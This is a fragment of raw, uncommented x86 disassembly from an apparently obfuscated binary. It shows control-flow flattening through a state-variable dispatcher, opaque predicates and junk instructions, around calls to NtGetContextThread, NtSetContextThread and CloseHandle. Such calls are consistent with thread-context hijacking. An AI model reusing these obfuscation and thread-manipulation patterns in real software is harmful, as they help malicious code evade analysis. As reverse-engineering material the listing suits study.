mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x184], 0x6bcacd1e
jmp 0x100075af
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x184], 0xc0927dbc
jmp 0x100075af
mov eax, dword [0x10062098]
mov ecx, dword [0x10062094]
mov edx, eax
add edx, 0x7d5858d2
sub edx, 1
sub edx, 0x7d5858d2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x234df2d5
mov ecx, 0xc3d6d21f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov eax, dword [ebp - 0x70]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x10062098]
mov eax, dword [0x10062094]
mov edx, ecx
add edx, 0x260d7320
sub edx, 1
sub edx, 0x260d7320
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x234df2d5
mov ecx, 0xb7f34f99
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov dword [ebp - 0x184], 0x65a2b91
jmp 0x100075af
mov ecx, dword [0x10062098]
mov eax, dword [0x10062094]
mov edx, ecx
add edx, 0x131131ab
sub edx, 1
sub edx, 0x131131ab
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdfa25f8
mov ecx, 0xdecc8d80
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov dword [ebp - 0x184], 0xb4a0fa70
jmp 0x100075af
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10007990
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
mov dword [ebp - 0x184], 0x719f0da4
jmp 0x100075af
mov eax, dword [ebp - 0x158]
mov ecx, dword [eax]
sub ecx, 0x65e6668f
add ecx, 1
add ecx, 0x65e6668f
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
mov dword [ebp - 0x184], 0x9d9a7d58
jmp 0x100075af
mov dword [ebp - 0x184], 0x795c9d52
jmp 0x100075af
mov eax, dword [ebp - 0x150]
mov eax, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x184], 0xe21ff219
jmp 0x100075af
mov dword [ebp - 0x184], 0xf6fccb53
jmp 0x100075af
mov dword [ebp - 0x184], 0xe1c35cb4
jmp 0x100075af
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x184], 0x42964873
jmp 0x100075af
mov dword [ebp - 0x184], 0x12bb24
jmp 0x100075af
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x184], 0x41ecb6d9
jmp 0x100075af
jmp 0x10003e10